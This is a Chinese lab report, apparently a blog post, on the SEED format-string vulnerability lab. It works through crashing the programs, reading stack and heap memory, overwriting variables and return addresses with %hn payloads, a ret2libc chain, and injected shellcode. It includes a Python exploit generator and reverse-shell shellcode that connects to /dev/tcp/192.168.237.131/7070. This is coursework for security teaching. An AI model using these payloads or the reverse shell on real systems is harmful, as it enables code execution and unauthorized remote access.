华中科技大学网安学院 信息系统安全实验 软件安全 SEEDLAB 格式化字符串漏洞利用实验

1 实验一 软件安全

1.1 格式化字符串漏洞实验

1.1.1实验目的

在缓冲区溢出漏洞利用基础上,理解如何进行格式化字符串漏洞利用。C 语言中的 printf() 函数用于根据格式打印出字符串,使用由 printf() 函数的 % 字符标记的占位符,在打印期间填充数据。格式化字符串的使用不仅限于 printf() 函数;其他函数,例如 sprintf()、fprintf() 和 scanf(),也使用格式字符串。某些程序允许用户以格式字符串提供全部或部分内容。本实验的目的是利用格式化字符串漏洞,实施以下攻击:

(1)程序崩溃;

(2)读取程序内存;

(3)修改程序内存;

(4) 恶意代码注入和执行。

1.1.2实验内容、步骤及结果

1.1.2.1 任务 1:针对 prog1,完成以下任务

(1) 使得 prog1 崩溃;

注意需要关闭 ASLR。当我们给出%s作为printf的输入时,printf会把这个值当成地址去取值,如果不是有效地址就会崩溃。
在这里插入图片描述
img

图1.1.1 使prog1崩溃

(2) 打印栈上数据

假设漏洞程序的var变量中保存着一个秘密值,尝试一系列的%x格式规定符,当printf()遇到%x时,他打印出va_list指针指向的数,并将va_list推进4个字节。为了弄清需要多少个%x指针指向的数,需要计算var到va_list之间的距离,可以做一些调试来计算实际距离,也可以使用试错法,首先尝试6个%x格式规定符。从下面的图1.1.3执行结果来看,var的值由第5个%x输出。

img

图1.1.2 栈布局

图1.1.3 打印栈上数据

(3) 改变程序的内存数据:将变量 var 的值,从0x11223344变成0x66887799

%n可以将va_list指针指向的值视为内存地址并写入,因此如果我们想改变内存中某个地址的值,就要把这个地址放在栈上。当然,如果我们要改成一个特定的值,第一种做法就是利用这一点,首先通过gdb找到var的地址为0xbfffed54并写到栈上(当作字符串即可)。要修改var 0x66887799=1720219545,如果用这种方法,要输入的字符数量太多,不切实际,所以这只是一种理论可行的方法,还有一种更快的方法,那就是使用%hn参数,每次覆盖两个字节数据,这样填充的字符少一些。

我们将var分成两部分,每部分2个字节,使用%hn参数修改。大多数电脑使用的是小端存储,所以低比特位(0x7799)存储在0xbfffed54(var的地址),高比特位(0x6688)存储在0xbfffed56。如果第一个%hn参数取得的值为x,那么在下一个%hn之前还有t个字符被打印,第二个%hn取得的值即为x+t。因此,我们首先覆盖存储在0xbfffed56的值为0x6688,然后打印额外的字符,这样覆盖到存储在0xbfffed54时,能被覆盖为0x7799。如下图1.1.4所示构造输入,对我们的var而言,AddressA=\x56\xed\xff\xbf, AddressB=\x54\xed\xff\xbf。

构造格式化输入:

Echo $(printf "\x56\xed\xff\xbf@@@@\x54\xed\xff\xbf")_%.8x_%.8x_%.8x_%.8x_%.26199x%hn_%.4368x%hn > input

注意,每次重启电脑后var的地址会变化,对应的输入也要变化。

img

图1.1.4 构造输入

执行结果如下图1.1.5:
img
在这里插入图片描述

图1.1.5 修改var变量结果
1.1.2.2 任务 2:针对 prog2,完成以下任务:

(1) 关闭栈不可执行保护,通过注入并执行 shellcode 进行利用,获得 shell

首先观察程序prog2.c,如下图1.1.6所示:在程序的行8,把ebp寄存器的值放在变量framep中,后面会把该值打印出来,这个变量的目的是找到fmtstr()函数的返回地址存放的位置:ebp+4是返回地址的内存地址,此外,还打印了调用printf()函数前后该返回地址存放的内容,目的是看内容是否发生改变,如果没有说明攻击存在问题。
img

图1.1.6 prog2.c

关闭ASLR,关闭栈执行保护,改变uid
img

图1.1.7 编译prog2

为了利用格式化字符串漏洞注入代码,需要应对4个挑战。

1. 注入恶意代码到栈中

2. 找到恶意代码的起始地址A。

3. 找到返回地址保存的位置B。

4. 把A写入B

直接运行prog2,如下图1.1.8所示:
img

图1.1.8 运行未注入的prog2

我们将恶意代码的起始地址设置位在数组起始地址0xbfffed04+0x90的地方(90只是个大概的偏移,80,100也许都可以),即0xbfffed94这个地方,需要将其写入返回地址ebp(frame opinter)+4也即0xbfffecec中。往返回地址0xbfffecec写入0xbfffed94,需要将0xbfffecec分割成连续的两个字节:0xbfffecec和0xbfffecee。

下面要确定距离:

echo $(printf "\xee\xec\xff\xbf@@@@\xec\xec\xff\xbf")%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x:%.8x > badfile

img

图1.1.9 确定覆盖地址距离

可以看到0xbfffecee.是在第17被打印出来的,因此前面需要16个%x才能到达第一个地址。前面15个%x使用8字节填充,16个%x需要精确计算覆盖成shellcode地址的低位;当然,使用%k$hn直接移动指针到位于第k个参数的地址可以使格式化字符串更短。生成badfile文件代码如下图1.1.10所示,注释见代码。

注入结果见1.1.11所示,由于之前以及把prog2的所有者设成了root,所以直接拿到root权限。

img

图1.1.10 exploit代码

在这里插入图片描述
img

图1.1.11 prog2注入结果,拿到root权限

(2) 开启栈不可执行保护,通过 ret2lib 进行利用,获得 shell(可以通过调用 system(“/bin/sh”));
1.首先要使用栈不可执行选项编译,如图1.1.12所示,注意,关闭ASLR保护
img

图1.1.12 编译,开启栈不可执行保护

2.然后找到system和exit函数的地址,exit函数是为了使程序正常结束,后续需要覆盖到返回地址上,如下图1.1.13所示:
在这里插入图片描述

图1.1.13 找到system函数和exit函数地址

3.接着,确定缓冲区到ebp的距离即可。如下图1.1.15所示,将ebp+4(ret)覆盖成system函数的地址,ebp+8是返回地址覆盖成exit函数地址,然后ebp+12存放第一个参数即“/bin/sh”的地址。
在这里插入图片描述

图1.1.15 覆盖栈帧情况

在这里插入图片描述

图1.1.16 栈帧情况
覆盖位置覆盖内容
Ebp+4(0xbfffec6c)System地址(0xb7e42da0)
Ebp+8(0xbfffec70)Exit地址(0xb7e369d0)
Ebp+12(0xbfffec74)/bin/sh地址(0xb7f6382b)

然后我们通过%hn进行修改,注意,覆盖内容需要按大小排序

覆盖地址覆盖内容
0xbfffec6c0x2da0
0xbfffec740x382b
0xbfffec700x69d0
0xbfffec720xb7e3
0xbfffec6e0xb7e4
0xbfffec760xb7f6

4.构造输入,确定偏移距离

如下图1.1.17所示,第一个覆盖地址出现在第17个%x的位置

echo $(printf "\x6c\xec\xff\xbf@@@@\x6e\xec\xff\xbf@@@@\x70\xec\xff\xbf\x72\xec\xff\xbf@@@@\x74\xec\xff\xbf@@@@\x76\xec\xff\xbf")_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x > badfile

img

图1.1.17 确定偏移距离

5.构造数据

我们覆盖的数据需要填充适当的字符,如下表:

覆盖内容
0x2da0=11680=15x8+4x10+16+11504
0x382b=0x2da0+1+2698
0x69d0=0x382b+1+12708
0xb7e3=0x69d0+1+19986
0xb7e4=0xb7e3+1+0
0xb7f6=0xb7e4+1+17

构造badfile文件:

echo $(printf "\x6c\xec\xff\xbf@@@@\x74\xec\xff\xbf@@@@\x70\xec\xff\xbf@@@@\x72\xec\xff\xbf\x6e\xec\xff\xbf@@@@\x76\xec\xff\xbf")_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.11504x%hn_%.2698x%hn_%.12708x%hn_%19986x%hn_%hn_%.17x%hn > badfile  

img

图1.1.18 gdb查看地址修改情况

在fmtstr的printf格式化漏洞语句后下断点,如上图1.1.18所示,可以看到,1处是system的地址,2处是exit的地址,3处是/bin/sh的地址(libc中的)。此时我们再直接执行prog2_retlibc程序,结果如下图1.1.19所示,获得了shell。

在这里插入图片描述

图1.1.19 prog2_retlibc获取shell

(3) 尝试开启和关闭 Stack Guard 保护,观察以上利用结果;

首先编译是选择stack guard保护,如下图1.1.120所示:

在这里插入图片描述

图1.1.20 开启stack guard保护

从上图还可以看出,ebp地址为0xbfffecb8,所以就能得到ret的地址为0xbfffecbc,输入的首地址为0xbfffecd4。我们将恶意代码的起始地址设置位在数组起始地址0xbfffecd4+0x90的地方,即0xbfffed64这个地方,需要将其写入返回地址ebp(frame opinter)+4也即0xbfffecbc中。往返回地址0xbfffecbc写入0xbfffed64,需要将0xbfffecbc分割成连续的两个字节:0xbfffecbc和0xbfffecbe.接着跟之前一样构造输入确定距离:如下图1.1.21所示,第21个%x打印出了输出的第一个元素。
在这里插入图片描述

图1.1.21 确定偏移距离
0xbfff = 49151 = 12 + 8 * 19 + 20 + 48967,
0xed64 = 0xbfff + 1 + 11620,
构造输入:

echo $(printf "\xbe\xec\xff\xbf@@@@\xbc\xec\xff\xbf")_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.48967x%hn_%.11620x%hn$(printf "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80") > badfile 

然后注入,结果如图1.1.22所示。
在这里插入图片描述

图1.1.22 开启stackguard后的注入结果

StackGuard是一个用来防御缓冲区溢出攻击的方式,方法很简单,就是往返回地址后面插入一段特殊值(称之为canary),在函数返回之前,首先检查这个特殊值是否被修改,如果被修改了,说明发生了缓冲区溢出攻击。更安全的方式是,插入这段特殊值,是随机值。然而我们的攻击方法并不是溢出攻击,而是精准修改,并不影响这个特殊值,所以理论上应该是没有影响的。

(4) 尝试设置 setuid root,观察是否可以获得 root shell。
不可以,如图1.1.11所示,我已经设置了root权限再进行的
注入,发现拿不到root权限。
在这里插入图片描述

图1.1.11 prog2注入结果,不是root权限
1.1.2.3 任务 3:针对 prog3,完成以下任务
  1. 首先,这次利用的还是字符串格式化漏洞,其主题见下图1.1.3.1所示:
    在这里插入图片描述
图1.1.3.1 format漏洞部分
  1. 接着我们编译程序,主要注意的编译选项都在make文件中了,我们直接编译即可。
    img
图1.1.3.2 编译format.c文件
  1. 由于我们的环境是32Bit的,所以需要将format-32当作server程序里调用的fotmat程序
    img
图1.2.3.3 选择32bit程序
  1. 接着我们试验一下这个程序的功能,就在本机实验的话,不用docker创建虚拟环境了。主要就是一个服务端一个客户端,服务端会展示客户端的信息,也就是存在字符串格式化漏洞的地方。如下图,服务器收到了客户端发来的信息,并且打印出了一些重要信息,我们后面攻击会用到。

img

图1.2.3.4 测试程序功能

下面就可以开始尝试攻击了:

(1) 打印栈上数据;

首先,我们确定个距离,构造如下输入:

echo $(printf "\x55\x55\x55\x55")_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x > input 

img

图1.2.3.5 测出栈中基址到第一个输入的距离

如图1.2.3.5所示,需要64个%x才能打印出输入的首元素。

(2) 获得 heap 上的 secret 变量的值;

由图1.2.3.4可知,secret地址在0x080bbb28:

echo $(printf "\x28\xbb\x0b\x08")_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%s > input 

img

图1.2.3.6 获得 heap 上的 secret 变量的值

(3) 修改 target 变量成 0xAABBCCDD

跟之前一样,如果通过%n来实现的话打印的字符太多不现实,所以还是通过%hn来实现。0xaabb=62*8(63个%x)+63(63个_)+12(printf里的12个字符的格式化字符串)+43136(填充数字)
0xccdd=0xaabb+1+8737,因此构造输入如下:

echo $(printf "\x6a\xb0\x0e\x08@@@@\x68\xb0\x0e\x08")_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.43136x%hn_%8737.x%hn > input

img

图1.2.3.7 修改 target 变量成 0xAABBCCDD

(4) 通过注入并执行 shellcode 进行利用,执行一个 shell 命令,

如:/bin/tail -n 2 /etc/passwd, /bin/rm /tmp/myfile

由之前的图1.2.3.4可知ebp的地址为0xbfff368,因此ret的地址为0xbfff36c,而且输入的基址是0xbfff440,shellcode的地址大概为0xbffff760(输入的数组总长度为1200,shellcode放在末尾,大概选择一个偏移即可)接着就可以参考指导书的代码构造,如图1.2.3.8所示:下面的代码中addr2需要根据ebp的址修改,addr2为ret的地址。
img

图1.2.3.8 参考代码

代码如下:

from struct import pack

shellcode = (
  "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
  "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
  "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
  "/bin/bash*"
  "-c*"
  "               tail -n 2 /etc/passwd *"
  #"/bin/ls -l; echo Hello; /bin/tail -n 2 /etc/passwd *"
  "AAAA"
  "BBBB"
  "CCCC"
  "DDDD"
).encode('latin-1')

N = 1200
#Fill the content with NOP's
content = bytearray(0x90 for i in range(N))
start = N - len(shellcode)
content[start:] = shellcode

addr2 = 0xbffff36c  #ret地址,根据ebp修改
addr1 = addr2 + 2
content[0:4] = (addr1).to_bytes(4, byteorder = 'little')
content[4:8] = ("@@@@").encode('latin-1')
content[8:12] = (addr2).to_bytes(4, byteorder = 'little')

C = 62
#BFFF F760  #shellcode地址,根据输入数据基地址加适当偏移
small = 0xBFFF - 12 - C * 9 - 1
large = 0xF760 - 0xBFFF - 1
s = "_%.8x" * C + "_%." + str(small) + "x" + "%hn" + "_%." + str(large) + "x" + "%hn" + "\n"
fmt = (s).encode('latin-1')
content[12:12 + len(fmt)] = fmt
file = open("input", "wb")
file.write(content)
file.close()

结果如下,成功执行tail命令:
img

图1.2.3.9 执行tail命令

(5) 获得一个反向 shell。
下面的代码,仍然跟shellcode一样,修改addr2和ip地址,如果ip地址不是三个数字,举个例子,比如192.168.71.131这样的,71这个构造要注意如下所示构造(总之就是保证四个字节)
举例:

  "\x68""   "      
  "\x68""7070" 
  "\x68""131/"
  "\x68"".71."      
  "\x68"".168"       
  "\x68""/192"   

全部代码:

#reverse shellcode
shellcode= (
  # Push the command '/binbash' into stack ( is equivalent to /)
  "\x31\xc0"           # xorl %eax,%eax
  "\x50"             # pushl %eax
  "\x68""bash"          # pushl "bash"
  "\x68"""          # pushl ""
  "\x68""/bin"          # pushl "/bin"
  "\x89\xe3"           # movl %esp, %ebx
    
  # Push the 1st argument '-ccc' into stack (-ccc is equivalent to -c)
  "\x31\xc0"           # xorl %eax,%eax
  "\x50"             # pushl %eax
  "\x68""-ccc"          # pushl "-ccc"
  "\x89\xe0"           # movl %esp, %eax

# Push the 2nd argument '/bin/bash -i >/dev/tcp/192.168.237.131/7070 0<&1 2>&1' into stack 
  "\x31\xd2"           # xorl %edx,%edx
  "\x52"             # pushl %edx
  "\x68""  "          # pushl data
  "\x68""2>&1"    
  "\x68""  "     
  "\x68""0<&1"     
  "\x68""0  "      
  "\x68""/707" 
  "\x68"".131"
  "\x68"".237"      
  "\x68"".168"       
  "\x68""/192"        
  "\x68""/tcp"        
  "\x68""/dev"        
  "\x68""  >"         
  "\x68""h -i"         
  "\x68""/bas"          
  "\x68""/bin"          
  "\x89\xe2"           # movl %esp,%edx
    
  # Construct the argv[] array and set ecx
  "\x31\xc9"           # xorl %ecx,%ecx
  "\x51"             # pushl %ecx
  "\x52"             # pushl %edx
  "\x50"             # pushl %eax
  "\x53"             # pushl %ebx
  "\x89\xe1"           # movl %esp,%ecx 
    
  # Set edx to 0
  "\x31\xd2"           #xorl %edx,%edx  
  # Invoke the system call
  "\x31\xc0"           # xorl %eax,%eax
  "\xb0\x0b"           # movb $0x0b,%al 
  "\xcd\x80"           # int $0x80
).encode('latin-1')

结果如下图1.2.3.10所示,可以看见,路径发生了改变,获取了shell。
img

图1.2.3.10 获取反向shell
  • 10
    点赞
  • 45
    收藏
    觉得还不错? 一键收藏
  • 9
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值